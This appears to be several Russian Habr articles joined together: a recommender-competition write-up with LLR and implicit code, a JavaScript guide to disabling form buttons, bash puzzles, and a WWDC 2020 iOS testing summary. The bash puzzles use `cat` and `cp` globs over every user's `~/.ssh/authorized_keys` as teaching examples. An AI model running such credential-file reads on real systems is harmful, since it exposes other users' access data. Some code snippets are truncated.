* representation graph — способ преобразования (его можно задать различным для user/item) входных данных в embedding, на основе которого будут происходить расчеты в prediction graph. Выбор состоит из слоев с различными вариантами активаций. Также есть возможность воспользоваться абстрактным классом и воткнуть кастомное преобразование, состоящее из последовательности слоев keras.
* prediction graph позволяет выбрать операцию в конце: любимый dot product, euclidean и cosine distance.
* loss — тоже есть, из чего выбрать. Порадовала имплементация WMRB (по сути тот же WARP, только умеет обучаться батчами и распределенно)
Самое главное, что TensorRec как раз и умеет работать с контекстными фичами, да и вообще автор признается, что изначально вдохновился идеей LightFM. Что ж, посмотрим. Берем взаимодействия (только транзакции) и item features.
Отправляем на перебор различных конфигураций и ждем. По сравнению с LightFM обучение и валидация происходят непозволительно долго.
Помимо этого, была еще пара неудобств, с которыми пришлось столкнуться:
1. От изменения флага verbose у метода *fit* не менялось ничего и никаких вам callback’ов не предусмотрено. Пришлось написать функцию, которая внутри делала обучение одной эпохи, используя метод *fit\_partial*, а далее прогоняла валидацию для train и test (в обоих случаях использовались сэмплы для ускорения процесса).
2. В целом, автор фреймворка большой молодец и везде утилизирует tf.SparseTensor. Однако стоит понимать, что в качестве prediction, в том числе и для валидации, вы получаете результат в dense виде вектора с длиной n\_items для каждого юзера. Из этого следует два совета: сделайте цикл для формирования предсказаний батчами (метод библиотеки такого параметра не имеет) с фильтрацией top-k и готовьте планки с оперативной памятью.
В конечном итоге на лучшем варианте конфигурации удалось выжать 0.02869 на моей тестовой выборке. На LB было что-то похожее.
Ну а на что я надеялся? Что добавление нелинейности в item features даст двукратный прирост в метрике? Наивно.
**4. Бек ту таск**
Так, подождите. Кажется, я снова упоролся в жонглирование нейронками. Какую гипотезу я вообще хотел проверить, когда взялся за это дело? Гипотеза звучала так: «В последующие 2 месяца отложенной выборки на лидерборде встретятся почти 2 000 новых фильмов. Часть из них заберет на себя увесистую долю просмотров».
Так можно проверить это в 2 шага:
1. Неплохо бы посмотреть, сколько у нас добавилось фильмов в честно отколотом нами тестовом периоде относительно train. Если брать только просмотры, то «новых» фильмов всего 240(!). Гипотеза сразу пошатнулась. Кажется, что закупка нового контента не может отличаться на такое кол-во от периода к периоду.
2. Добиваем. У нас есть возможность обучить модель использовать только представление, основанное на item features (в LightFM, например, это делается по умолчанию, если мы заранее не застэкали матрицу атрибутов с identity матрицей). Далее для инфренеса мы можем подать в эту модель только(!) наши недоступные и не встречающиеся ранее фильмы. Из этих результатов мы делаем сабмит и получим 0.0000136.
Бинго! Значит, что можно перестать «выжимать» семантику из атрибутов фильмов. Кстати, впоследствии, на DataFest ребята из ОККО рассказали, что большинство из недоступного контента были просто какие-то старые фильмы.
Нужно пробовать что-то новое, а новое — хорошо забытое старое. В нашем случае не совсем забытое, а то, что было пару дней назад. Коллаборативная фильтрация?
**5. Тюним бейзлайн**
Чем можно помочь бейзлайну с CF?
**Идея №1**
В интернетах я нашел презентацию про использование likelihood ratio test с целью фильтрации незначительных фильмов.
Ниже оставлю свой код на python для расчета LLR score, который пришлось написать на коленке для теста этой идеи.
**Вычисление LLR**
```
import numpy as np
from scipy.sparse import csr_matrix
from tqdm import tqdm
class LLR:
def __init__(self, interaction_matrix, interaction_matrix_2=None):
interactions, lack_of_interactions = self.make_two_tables(interaction_matrix)
if interaction_matrix_2 is not None:
interactions_2, lack_of_interactions_2 = self.make_two_tables(interaction_matrix_2)
else:
interactions_2, lack_of_interactions_2 = interactions, lack_of_interactions
self.num_items = interaction_matrix.shape[1]
self.llr_matrix = np.zeros((self.num_items, self.num_items))
# k11 - item-item co-occurrence
self.k_11 = np.dot(interactions, interactions_2.T)
# k12 - how many times row elements was bought without column elements
self.k_12 = np.dot(interactions, lack_of_interactions_2.T)
# k21 - how many times column elements was bought without row elements
self.k_21 = np.dot(lack_of_interactions, interactions_2.T)
# k22 - how many times elements was not bought together
self.k_22 = np.dot(lack_of_interactions, lack_of_interactions_2.T)
def make_two_tables(self, interaction_matrix):
interactions = interaction_matrix
if type(interactions) == csr_matrix:
interactions = interactions.todense()
interactions = np.array(interactions.astype(bool).T)
lack_of_interactions = ~interactions
interactions = np.array(interactions, dtype=np.float32)
lack_of_interactions = np.array(lack_of_interactions, dtype=np.float32)
return interactions, lack_of_interactions
def entropy(self, k):
N = np.sum(k)
return np.nansum((k / N + (k == 0)) * np.log(k / N))
def get_LLR(self, item_1, item_2):
k = np.array([[self.k_11[item_1, item_2], self.k_12[item_1, item_2]],
[self.k_21[item_1, item_2], self.k_22[item_1, item_2]]])
LLR = 2 * np.sum(k) * (self.entropy(k) - self.entropy(np.sum(k, axis=0)) - self.entropy(np.sum(k, axis=1)))
return LLR
def compute_llr_matrix(self):
for item_1 in range(self.num_items):
for item_2 in range(item_1, self.num_items):
self.llr_matrix[item_1, item_2] = self.get_LLR(item_1, item_2)
if item_1 != item_2:
self.llr_matrix[item_2, item_1] = self.llr_matrix[item_1, item_2]
def get_top_n(self, n=100, mask=False):
filtered_matrix = self.llr_matrix.copy()
for i in tqdm(range(filtered_matrix.shape[0])):
ind = np.argpartition(filtered_matrix[i], -n)[-n:]
filtered_matrix[i][[x for x in range(filtered_matrix.shape[0]) if x not in ind]] = 0
if mask:
return filtered_matrix != 0
else:
return filtered_matrix
```
В итоге получившуюся матрицу можно использовать как маску, чтобы оставить только наиболее значимые взаимодействия и здесь есть два варианта: использовать threshold или оставлять top-k элементов с наивысшим значением. Таким же образом используется объединение нескольких влияний на покупку в один скор для ранжирования айтемов, иными словами тест показывает насколько важно, к примеру, добавление в избранное относительно возможной конвертации в покупку. Выглядит многообещающе, но использование показало, что фильтрация с использованием LLR score дает совсем миниатюрный прирост, а объединение нескольких скоров только ухудшает результат. Видимо, способ не под эти данные. Из плюсов могу отметить только то, что разбираясь с тем, как реализовать эту идею, мне пришлось покопаться у implicit под капотом.
Пример применения этой кастомной логики в implicit оставлю под катом.
**Модификация матрицы в implicit**
```
# Считаем матрицу LLR scores. Итоговой размерностью будет матрица n_items * n_items.
llr = LLR(train_csr, train_csr)
llr.compute_llr_matrix()
# и забираем маску по id, фильмов, взаимодействия с которыми наиболее значимы
llr_based_mask = llr.get_top_n(n=500, mask=True)
# Стандартно инициализируем и обучаем модель, например - CosineRecommender.
model = CosineRecommender(K=10200)
model.fit(train_csr.T)
# model.similarity - тоже матрица co-occurrence (в случае Cosine - нормализованная). Её то мы и будем фильтровать нашей маской.
masked_matrix = np.array(model.similarity.todense()) * llr_based_mask
# После fit() наш scorer был проинициализирован как раз model.similarity.
# Переинициализируем его новой отфильтрованной матрицей.
model.scorer = NearestNeighboursScorer(csr_matrix(masked_matrix))
# Ну а дальше все как обычно: используем метод recommend для получения предиктов.
test_predict = {}
for id_ in tqdm(np.unique(test_csr.nonzero()[0])):
test_predict[id_] = model.recommend(id_, train_csr, filter_already_liked_items=True, N=20)
# нам вернулись tuples (item_id, score), заберем только id для валидации.
test_predict_ids = {k: [x[0] for x in v] for k, v in test_predict.items()}
# По аналогичной схеме можно работать с подменой/модификацией матрицы, утилизируя все готовые методы библиотеки, написанные на Cython.
```
**Идея №2**
Появилась еще одна идея, которая могла бы улучшить предсказания на простой коллаборативной фильтрации. В индустрии часто используется какая-то функция затухания для старых оценок, но у нас не совсем простой случай. Наверное, нужно как-то учитывать 2 возможных кейса:
1. Пользователи, которые смотрят в сервисе в основном новинки
2. «Досматривающие». То есть те, кто пришли сравнительно недавно и могут смотреть ранее популярные фильмы.
Таким образом, можно разделить коллаборативную составляющую на две разных группы автоматически. Для этого я выдумал функцию, которая ставила вместо implicit-значений «1» или «0» на пересечении пользователя и фильма значение, показывающее насколько важен этот фильм в истории просмотров пользователя.
где *StartTime* — дата выхода фильма, а *ΔWatchTime* — это разница между датой выхода и датой просмотра пользователем, а *α* и *β* — гиперпараметры.
Здесь первое слагаемое отвечает за то, чтобы увеличивать скор фильмам, которые недавно вышли, а второе — за то, чтобы учитывать пристрастие пользователей к старым фильмам. Если кино вышло давно, и пользователь его сразу купил, то на сегодняшний день, этот факт не должен сильно учитываться. Если это какая-то новинка, то надо рекомендовать ее большему количеству пользователей, которые также смотрят новинки. Если же кино довольно древнее, а пользователь посмотрел его только сейчас, то это может быть также важным для таких же, как он.
Осталась мелочь — перебрать коэффициенты *α* и *β*. Оставляем на ночь, и дело сделано. Предположений о диапазоне не было совсем, поэтому он был изначально большим, а ниже уже результаты поиска локального оптимума.
При помощи этой идеи простая модель на одной матрице дала скор 0.03627 на локальной валидации и 0.03685 на public LB, что сразу выглядит как хороший буст в сравнении с предыдущими результатами. На тот момент это вывело меня, приблизительно, в топ-20.
**Идея №3**
Финальной идеей было то, что старые фильмы, которые пользователь смотрел давно, можно не учитывать вообще. Этот метод отсева в CF часто называют прунингом. Переберем несколько значений и проверим гипотезу:
Получается, что для пользователей с длинной историей имеет смысл оставлять только последние 25 взаимодействий.
Итого, путем работы с данными, мы добились скора 0.040312 на локальной тестовой выборке, а сабмит с этими параметрами дал результат в 0.03870 и 0.03990 на public/private части соответственно и обеспечил меня 14-м местом и футболкой.
### Acknowledgments
Вести проекты в jupyter notebook — неблагодарное дело. Ты постоянно теряешься в своем коде, который раскидан по нескольким тетрадям. А трекать результаты только в output ячеек совсем опасно с точки зрения воспроизводимости. Поэтому датасаентисты справляются кто как может. Мы с коллегами сделали свой фреймворк на основе [cookiecutter-data-science](https://drivendata.github.io/cookiecutter-data-science/) — Ocean. Это средство создания структуры и ведения проекта. О его плюсах можно прочитать в нашей [статье](https://habr.com/ru/company/surfstudio/blog/459340/). Во многом благодаря хорошему подходу к разделению экспериментов я не сошёл с ума и не запутался при проверке гипотез.
### Секрет успеха (не моего)
Как стало известно сразу после открытия private части лидерборда, почти все ребята с топовыми решениями использовали простые модели на первом уровне и бустинг с дополнительными фичами на втором. Как я понял потом, моим проколом в этом эксперименте в первую очередь стал способ разбиения выборки при обучении модели второго уровня. Я пробовал так:
Осознав, что это глупость, я начал искать ну совсем уж изощренные способы, вроде вот этого:
Ну а верный способ я нашел на слайде из презентации Смирнова Евгения, который занял 2 место. Это был сплит по юзерам в тестовой части модели первого уровня. Вроде тривиально, но ко мне эта идея не пришла.
### Вывод
Контесты — это контесты. Тяжелые модели действительно дают бОльшую точность, особенно если уметь их готовить. Пригодится ли этот опыт? Вместо ответа скажу, что после окончания соревнования организаторы скинули спойлер — график feature importance из продуктовой модели, по которому очевидно, что они используют тот же самый «успешный» подход в продакшене. Оказывается, в проде тоже стекают.
Получается, что для меня опыт участия был действительно полезным в профессиональном плане. Спасибо за прочтение статьи; вопросы, пожелания, замечания приветствуются. | https://habr.com/ru/post/461055/ | null | ru | null |
# Тонкости свойства disable у кнопок формы, отправляемой на сервер (Как делать кнопки неактивными)
Уже неоднократно на хабре (вот в [этой](http://habrahabr.ru/blogs/ui_design_and_usability/47315/) публикации и в [этой](http://habrahabr.ru/blogs/ui_design_and_usability/44145/)) ставился вопрос о том, что было бы хорошо кнопкам формы, отправляемой на сервер, ставить свойство `disabled = "disabled"`.
Однако, до сих пор так и не разобрались, зачем это нужно и как все-таки это делать. Казалось бы, что может быть проще и о чем здесь вообще можно разговаривать, ан нет — на поверку все оказалось не так тривиально. Сразу замечу, что нижеследующие рассуждения применимы к обеим типам форм: как отправляемым через обычный SUBMIT, так и с помощью AJAX.
Зачем нужно делать кнопки неактивными
-------------------------------------
1. Чтобы пользователю стало очевидным, что он уже нажал на кнопку, и что форма отправляется
2. Чтобы сервер не загружался лишними запросами, и чтобы уменьшить вероятность какой-либо ошибки
Понятно, что можно предотвратить лишние нажатия при помощи навешивания специальной визуализации, говорящей, что запрос принят и форма отправляется (простейший пример — показать какой-нибудь анимированный gif). Однако, кнопки-то при этом все равно останутся кликабельными, и самые нетерпеливые пользователи не применут воспользоваться такой возможностью. При этом, на эти дополнительные нажатия форма уже никак не сможет отреагировать (анимированный gif уже крутится), и фрустрация пользователя только увеличится.
Понятно также, что лишние запросы можно предотвратить, повесив на форму какой-нибудь `class="form_is_loading"`, и при всяком сабмите проверять на наличие этого класса. Но зачем делать эти проверки, когда можно обойтись без них, просто сделав кнопку неактивной?
Как делать кнопки неактивными
-----------------------------
Этот предложенный в вышеупомянутых топиках простой вариант оказывается недостаточным и неработоспособным.
**Почему недостаточно просто делать нажатую кнопку неактивной:**
1. Submit формы может произойти и по нажатию на Enter. Поэтому обработку кнопок надо вешать на событие onsubmit самой формы. К тому же, у формы может быть несколько кнопок, и было бы логичным делать их все неактивными, а не только ту кнопку, которую нажали.
2. Если после сабмита формы вновь вернуться на страницу с формой (по кнопке «Назад» в браузере), то сработает кеширование: мы столкнемся с неактивными кнопками и не сможем отправить форму еще раз — без принудительной перезагрузки страницы с потерей всех заполненных ранее полей (Возврат к поисковой форме со страницы результатов поиска тут живейший пример).
3. Если у формы несколько кнопок (например, «Опубликовать» и «Отмена»), то мы не сможем передать серверу, какая именно кнопка была нажата: неактивная кнопка не передает свое имя и значение — даже если мы делаем ее неактивной по событию onsubmit
**Итак, сценарий создания неактивных кнопок**
Вкратце сценарий таков.1. Кнопки делаем неактивными по событию onsubmit формы
2. Кнопки возвращаем в активное состояние до ухода со страницы по событию window.onunload
3. Каждая кнопка формы по событию onclick должна создавать одноименное hidden поле, через которое передаст свое значение серверу
А далее следует более развернутый сценарий с макетом кода.
```
//// html файл //////////////////////////////////////////////////////////////////////
formUploader.prepareForm(document.getElementById('the\_form'));
//// js файл ////////////////////////////////////////////////////////////////////////
formUploader = {
prepareForm: function(form){
// Каждая значимая кнопка формы при клике должна создать одноименное hidden поле,
// чтобы на сервер передалась информация о том, какая кнопка была кликнута
var allFormFields = form.getElementsByTagName('input');
for (var i=0; i<allFormFields.length; i++){
if(allFormFields[i].type == 'submit' && allFormFields[i].name){
allFormFields[i].onclick = function(){
formUploader.createHiddenField(this);
}
}
}
// Визуализируем форму как отправляемую на сервер на событии onsubmit
// (в т.ч. делаем все кнопки неактивными)
form.onsubmit = function(){
formUploader.setFormLoading(form);
}
// Очищаем визуализацию формы (в т.ч. делаем все кнопки вновь активными)
// при уходе со страницы - по глобальному событию onunload
window.onunload = function(){
formUploader.clearFormLoading(form)
}
},
setFormLoading: function(form){
// Создаем визуализацию загрузки формы и делаем все кнопки неактивными
// disabled=true;
},
clearFormLoading: function(form){
// Очищаем форму от визуализации загрузки и возвращаем кнопки в активное состояние
// disabled=false;
},
createHiddenField: function(button){
var input = document.createElement('input');
input.type = 'hidden';
input.name = button.name;
input.value = button.value;
button.parentNode.insertBefore(input, button);
}
}
``` | https://habr.com/ru/post/48381/ | null | ru | null |
# Немного предпятничных задачек на Bash
Привет Хабр!
------------
В *bash* частенько можно столкнуться с ситуацией, когда вроде как уже разобрался, и тут внезапно какая-то магия. Ковырнешь ее, а там еще целый пласт вещей, о которых раньше и не подозревал…
Под катом — несколько забавных задачек на *bash*, которые (надеюсь) могут оказаться интересными даже для середнячков. Удивить гуру я не надеюсь.., но все же перед тем как залезть под кат, сперва пообещайте ответить на задачки хотя бы для себя вслух — без man/info/google.
1. ### Задачка простая.
Какую одну команду нужно выполнить, чтобы следующая команда из примера вывела **Hello** на ваш терминал?
```
$ echo "Hello" > 1
```
**Ответ**
```
$ cd /proc/$$/fd
$ echo "Hello" > 1
Hello
```
**Как это работает под капотом?**
Для стандартных потоков (STDIN, STDOUT, STDERR) каждого процесса, автоматически создаются файловые дескрипторы (0, 1, 2).
Мы заходим в подкаталог на *procfs* (/proc), подкаталог нашего процесса определяем через /proc/**$$** (специальная переменная, в которой хранится *PID* текущего процесса), и наконец в подкаталог с дескрипторами "/proc/$$/**fd**". Дескрипторы тут так и лежат 0(stdin), 1(stdout), 2(stderr). С ними можно работать как с обычными символьными устройствами. Тут же будут создаваться дескрипторы других файлов, которые открыты в указанном процессе.
Суперпользователь может писать и в дескрипторы процессов других пользователей, выводя текст на их терминалы.
Именно через этот механизм работает популярная утилита *write* — когда пользователь может написать другому пользователю сообщение без запуска какого-то мессенджера — просто в его терминал. А для того, чтобы *write* могла писать в дескриптор другого пользователя, на бинарнике *write* стоит флаг *SGID* (пользователи должны быть добавлены в группу **tty**).
Через этот же механизм система оповещает подключенных пользователей о ребутах и других системных алертах.
### 2. Не столько задачка, сколько вопрос-напоминание.
Что выведет следующая команда?
```
$ cat /home/*/.ssh/authorized_keys
```
Выдаст ошибку? Выведет первый попавшийся файл? Выведет все файлы?
А куда мы зайдем следующей командой:
```
$ cd /home/*/.ssh
```
Какой результат последней команды:
```
$ cp /home/*/.ssh/authorized_keys .
```
**Ответы**
Уверен, что все ответили верно:
Команда **cat** выведет все файлы, обойдя все подходящие по шаблону директории.
**cd** зайдет в первую, подошедшую под шаблон директорию. Обходить она не будет, просто подберет первое по алфавиту.
**cp** скопирует первый подошедший по шаблону файл в текущую директорию, а на остальные будет ругаться с ошибкой, потому что **cp** не может перезаписать в тот же самый *destination* в пределах выполнения одного экземпляра.
На всякий случай — а что будет, если сделать:
```
cp /home/*/.ssh/authorized_keys /home/*/ssh/authorized_new
```
**Ответ**
Никакой магии, будет просто синтаксическая ошибка ;)
### 3. А вот это действительно забавная задачка!
Даже хотел ее кинуть первой, но решил оставить на закуску. Итак ситуация такая:
```
# Создадим несколько файлов:
$ touch file{1..9}
$ ls -1
file1
file2
file3
file4
file5
file6
file7
file8
file9
```
Теперь выведем их через "**ls -1**" и простой регуляркой отфильтруем первые пять:
```
$ ls -1 | grep file[1-5]
```
В результате пусто? Что за? где мои файлы?
**Правильная команда**
Все очень просто. Правильно будет:
```
$ ls -1 | grep "file[1-5]"
file1
file2
file3
file4
file5
```
**Но почему?**
Все знают что в масках файлов (wildcards) используются следующие символы: **\***, **?** и **~**.
И если есть файловые сущности, которые подходят под ваш wildcards, то последний будет развернут шеллом в список значений через пробел, и только после этого команда будет выполнена с уже измененным списком аргументов. Если подходящих файловых сущностей нет — паттерн останется без изменений:
**простой наглядный пример**
```
$ mkdir test
$ cd test
$ echo file*
file*
$ touch file1
$ echo file*
file1
$ touch file2
$ echo file*
file1 file2
```
То есть при использовании wildcard, мы можем получить команду, которая то работает, то неработает, то работает непонятно как. Исправляется это простым заключением wildcard в кавычки.
Совершенно не обязательно заключать в кавычки все подряд, поэтому часто простые слова или регулярки, которые не являются wildcards используют без кавычек, и это отлично работает.
Написанное выше — общеизвестно, но вот не все знают, что \*nix также поддерживает в *wildcards* перечисление символов в виде **[abc]**.
В нашем случае шелл «раскрыл» маску и передал в *grep* длинную строку, попытавшись выполнить команду «ls -1 | grep file1 file2 file3 file4 file5». В этом случае grep будет искать строку file1 в файлах file2, file3, file4, file5, но так как файлы пустые, то он ничего не вернет (спасибо [mickvav](https://habr.com/ru/users/mickvav/) за уточнение).
Если выполнить команду, содержащую *wildcard* в каталоге, где нет подходящих файлов, она не изменится и мы получим как в предыдущем примере с '**\***':
```
$ cd ..;echo file[1-5]
file[1-5]
```
Кстати частенько даже со старыми знакомыми масками многие новички совершают ошибку, например при выполнении команды *find*, и получают что-то вроде:
```
$ find . -name file*
find: paths must precede expression: file2
```
*Вывод:* Используйте кавычки!
Перечисление символов в wildcard поддерживает и *диапазоны* и *инвертирование*. Примеры:
```
# выведем файлы, заканчивающиеся на 1-5
$ echo file[1-5]
file1 file2 file3 file4 file5
# выведем файлы, заканчивающиеся не на 1-5:
$ echo file[^1-5]
file6 file7 file8 file9
```
### 4. Какой простой способ отрезать расширение у файла?
**Ответ**
Стандартный и популярный способ — использовать утилиту **basename**, который отрезает весь путь слева, а если указать дополнительный параметр, то дополнительно отрежет справа и суффикс. Например пишем **file.txt** и суффикс **.txt**
```
$ basename file.txt .txt
file
```
Но можно не запускать целый отдельный процесс для такого простого действия, и обойтись внутренними преобразованиями в *bash* (bash variable expansions):
```
$ filename=file.txt; echo ${filename%.*}
file
```
Или наоборот, отрезать имя файла и оставить только расширение:
```
filename=file.txt; echo ${filename##*.}
txt
```
**Как это работает?**
**%** — отрезает все символы с конца до первого подходящего паттерна (поиск идет справа налево)
**%%** — отрезает все символы с конца до последнего подходящего паттерна (справа налево)
**#** — отрезает с начала до первого подходящего паттерна (поиск идет слева направо)
**##** — отрезает с начала до последнего подходящего паттерна (слева направо)
Таким образом, "**${filename%.\*}**" означает — начиная справа налево проходим все символы (\*) и доходим до первой точки. Отрезаем найденное.
Если бы мы использовали "${filename%%.\*)", то в файлах, где точка встречается больше одного раза, у нас бы оно дошло до последней точки, отрезав лишнее.
```
$ filename="file.hello.txt"; echo "${filename%%.*}"
file
```
### 5. Совсем немного про перенаправления **<**, **<<** и **<<<**
Первое перенаправление "<" из именованного потока или из файла. Давно известное и годами перетёртое мозолями суровых админов. Поэтому сразу перейдем к двум другим, которые встречаются реже.
**<<**, так называемая конструкция *here document*. Позволяет разместить многострочный текст прямо в скрипте и перенаправить его, словно из внешнего потока.
**Пример**
```
$ cat <
```
**Cat** читает данные из файла. Мы перенаправляем ему в *STDIN* файл — конструкция *here document* генерит его прямо на месте, поэтому не нужно создавать отдельный файл.
Это действительно удобный способ, чтобы вызвать какую-то внешнюю утилиту и скормить ей много данных. Но в последнее время я предпочитаю пользоваться **<<<**
**И вот почему**
Во-первых, **<<<** лучше читается, а во-вторых через **<<<** тоже можно передавать многострочные данные. В третьих — … в третьих больше нет, но и первых двух для меня хватило. Сравните два примера на читабельность:
```
#!/bin/bash
. load_credentials
sqlplus -s $connstring << EOF
set line 1000
select name, lastlogin from users;
exit;
EOF
```
```
#!/bin/bash
. load_credentials
SLQ_REQUEST="
set line 1000
select name, lastlogin from users;
exit;"
sqlplus -s ${connstring} <<<"${SQL_REQUEST}"
```
На мой взгляд второй вариант выглядит потенциально удобнее. Мы можем задать многострочную переменную в удобном для нас месте, и использовать ее в **<<<**.
А при коротком запросе все выглядит вообще прекрасно:
```
#!/bin/bash
. load_credentials
sqlplus -s ${connstring} <<<"select name, lastlogin from users;exit;"
```
Если оперировать скриптами побольше, и запросами подлиннее, то использование <<< с перенаправлениеим из переменных (а сами переменные мы можем объявить заранее, в специально отведенном и оборудованом комментариями месте), то код получается гораздо читабельнее.
Только представьте себе, что вам нужно вызвать несколько внешних команд с перенаправлением им кучи многострочных данных, и расположить эти команды например внутри нескольких *if/loop* конструкций разной вложенности.
*here document* сильно портит форматирование и читабельность подобного кода будет ужасной.
### 6. Можно ли создать hardlink на папку?
**Детальный ответ**
Конечно можно! Но не всем. *POSIX* файловые системы активно пользуются хардлинками и мы их все время видим! Пример:
```
# создаем директорию test
$ mkdir test
# выводим информацию о количестве ссылок и номер iNode для test
$ stat -c "LinkCount:%h iNode:%i" test
LinkCount:2 iNode:522366
```
Как? Только создали и уже два линка?
```
# заходим в созданную директорию test
$ cd test
# внутри выводим статистику для текущей директории "."
$ stat -c "LinkCount:%h iNode:%i" .
LinkCount:2 iNode:522366
```
В обоих случаях мы видим тот же номер *iNode*. То есть **test** и "**.**" внутри него — это та же самая директория. И "**.**" это не какой-то специальный алиас баша, и даже не операционной системы. Это просто жесткая ссылка на уровне файловой системы. Проверим еще один момент:
```
# создаем поддиректорию test2 внутри нашего test
$ mkdir test2
# заходим в поддиректорию test2
$ cd test2
# смотрим статистику о родительской директории ".."
$ stat -c "LinkCount:%h iNode:%i" ..
LinkCount:3 iNode:522366
```
"**..**" имеет тот же *iNode* 522366, соответствующий директории test. И счетчик ссылок увеличился.
Итог: жесткие ссылки на папки — обязательная часть файловой системы, которая используется для построения дерева директорий. (На самом деле в большинстве современных файловых систем это уже абстракция, и непосредственно на носителе хардлинки к директориям и не хранятся)
Однако, если дать возможность пользователю создавать произвольные хардлинки на директории, он может ошибиться и создать закицленную директорию. При этом все команды, пробегающие по дереву каталогов (find, du, ls) уйдут в бесконечный цикл, завершаемый только прерыванием или stack overflow, поэтому пользовательской команды и нет.
На этом у меня все.
Пользуясь случаем, заранее передаю **спасибо** тем, кто отметится в опросе!
**Updated**: немного исправлено форматирование и спасибо [mickvav](https://habr.com/ru/users/mickvav/) за исправление неточности. | https://habr.com/ru/post/339246/ | null | ru | null |
# Apple WWDC 2020: что нового в тестировании iOS
Привет, меня зовут Сергей, и я тестирую iOS приложения в Exness. В конце июня 2020 г. закончилась очередная WWDC. Давайте разберемся, что же она принесла нового в мир тестирования iOS приложений.
Но вначале краткий исторический экскурс: Apple WWDC (WorldWide Developers Conference), или просто даб-даб, это конфа, которую Apple с конца восьмидесятых проводит в Калифорнии. В этом году конференция впервые прошла в онлайн-формате. И если раньше билеты разыгрывались в лотерее, и тем, кто не получил желанного email, оставалось довольствоваться видео с сайта <https://developer.apple.com/videos/>, то в этом году по понятным причинам других вариантов не было: видео смотрели все.
Итак, что же там можно было высмотреть по тестированию?
Сразу оговорюсь, что на WWDC 2020 не было какой-то большой общей сессии, посвященной тестированию в экосистеме Apple, как в прошлые годы (Testing in Xcode [2019](https://developer.apple.com/videos/play/wwdc2019/413) и What’s new in testing [2018](https://developer.apple.com/videos/play/wwdc2018/403), [2017](https://developer.apple.com/videos/play/wwdc2017/409)). Новинки тестирования в 2020 размазали на шесть мини-сессий. Поехали!
XCTSkip для ваших тестов
------------------------
В Xcode 11.4 добавили новый API для управления запуском тестов в зависимости от условий — XCTSkip.
Часто в тестах, особенно интеграционных, есть условия или требования, которые нелегко замокать. Например, приложение имеет какой-то специфический функционал для айпада, который не работает на айфоне. Или какие-то фичи для конкретной версии операционной системы.
И раньше, когда тесты доходили до подобных кейсов (проверка айпад-only функционала на iPhone), стоял выбор:
* Закончить выполнение тестового набора;
* Пометить тест как пройденный и пойти дальше;
* Зафейлить тест.
Теперь у нас есть ошибка, при возникновении которой текущий тест перестает выполняться и помечается как пропущенный.
Таким образом, теперь в XCTest стало три статуса для пройденного теста вместо двух:
Подробнее [тут](https://developer.apple.com/videos/play/wwdc2020/10164) и [тут](https://developer.apple.com/documentation/xctest/xctskip).
Обработка прерываний и алертов в UI тестах
------------------------------------------
Обработка прерываний и алертов была в XCTest и раньше, однако в сессии механизм его работы был раскрыт более подробно. Мне показалась интересной новая функциональность, добавленная в Xcode 11.4, iOS/tvOS 13.4 и macOS 10.15.4, а именно, сброс пермишенов (aka protected resources).
Суть в следующем: если раньше вы, например, в тесте #1 дали приложению доступ к камере или контактам, то потом, в тесте #2, #n этот доступ так просто не отобрать. Чтобы сделать это, придется переустанавливать приложение.
Теперь с помощью API для сброса авторизации для protected resources можно отобрать ранее выданный доступ:
```
Class XCUIApplication {
open func resetAuthorizationStatus(for: XCUIProtectedResource)
}
```
Сброс настроек для пермишенов заставляет приложение вести себя так, как будто оно ни разу до этого не запрашивало у пользователя доступ к protected resources.
Это позволяет пройти все пути с выдачей и забором пермишенов для контактов, календаря, фото, микрофона, камеры и геолокации. На iOS еще дополнительно можно сбросить доступ к Bluetooth и Keyboard network access, а начиная с Xcode 12 / iOS 14, к данным Health. На Mac OS можно сбросить доступ к директориям Desktop и Downloads.
Ниже пример, как сбросить доступ приложения к фото:
```
// Example
func testAddingPhotosFirstTime() throws {
let app = XCUIApplication()
app.resetAuthorizationStatus(for: .photos)
app.launch()
// Test code...
}
```
Важно помнить, что часто (но не всегда) при сбросе пермишенов приложение убивается.
Подробнее [тут](https://developer.apple.com/videos/play/wwdc2020/10220), [тут](https://developer.apple.com/documentation/xctest/xctestcase/handling_ui_interruptions) и [тут](https://developer.apple.com/documentation/bundleresources/information_property_list/protected_resources).
Устраняем лаги анимации с помощью XCTest
----------------------------------------
Лаги анимации, или hitches — такое поведение, когда фрейм появляется позже, чем ожидалось.
В лекции рассказано, как предотвратить появление лагов анимации вашего приложения путем замеров и тестирования с помощью Performance XCTests.
Также приводятся лучшие практики, и определено, какие лаги терпимы, а на какие стоит обратить внимание:
Описывается, почему Critical лаги заслуживают тщательного расследования и исправления. Сама тема тестирования анимации довольно обширна и достойна отдельной статьи, поэтому ограничимся вводной частью и ссылкой на [первоисточник](https://developer.apple.com/videos/play/wwdc2020/10077).
Триаж и диагностика упавших тестов
----------------------------------
Часто починка упавших тестов это боль, которая занимает много времени и ресурсов.
В Xcode 12 появится новое API, которое должно облегчить починку упавших тестов. API должно помочь быстрее ответить на вопросы: что, как, почему и самое главное — где упало?
Если раньше после того, как тест упал, приходилось искать место падения в
Issue navigator или report navigator, то с Xcode 12 процесс поиска упростился: теперь место падения подсвечивается в самом тесте.
Ошибка с выделением серым цветом появляется, если строка обращается к какой-то другой строке в дальнейшем:
И красным цветом, если ошибка произошла непосредственно в этой строке:
Удобная новая фича — открытие редактора кода не в отдельном окне, а прямо в report navigator:
Кроме того, в Xcode 12 добавился новый объект XCTIssue, который, помимо того, что инкапсулировал в себя данные об ошибках, которые ранее собирал в себе XCTest (сообщение, путь, номер строки и флаг «Expected»), теперь добавляет:
* Distinct types;
* Detailed description;
* Associated error;
* Attachments.
Подробнее [тут](https://developer.apple.com/videos/play/wwdc2020/10687) и [тут](https://developer.apple.com/documentation/xctest/xctissue).
Пишите тесты для того, чтобы они падали
---------------------------------------
Цель тестировщиков — писать тесты, чтобы увидеть их зелеными, пройденными, ведь это означает, что продукт можно отгружать конечным пользователям. Тем не менее, писать тесты, чтобы увидеть их зафейлеными тоже нужно, потому что зафейленный тест это с большой вероятностью — найденный баг. Таким образом, писать тесты нужно с оглядкой на то, что в случае, если они упадут, у нас было бы достаточно информации для расследования.
Итак, что же предлагается:
Используйте человекочитаемые сообщения в ассерt`ах:
Убедитесь, что используйте подходящий для вашей ситуации тип ассерt`а:
Unwrap'те optional'ы, чтобы ваши тесты падали, выбрасывая ошибку, а не крашились. Swift предоставляет несколько способов для этого, но в тестах, как правило, используют XCTUnwrap, который являет собой упрощение конструкции guard let.
Используйте waitForExistence() вместо sleep() для асинхронных ожиданий.
Используйте XCTContext.runActivity() для повышения читабельности лога выполнения теста:
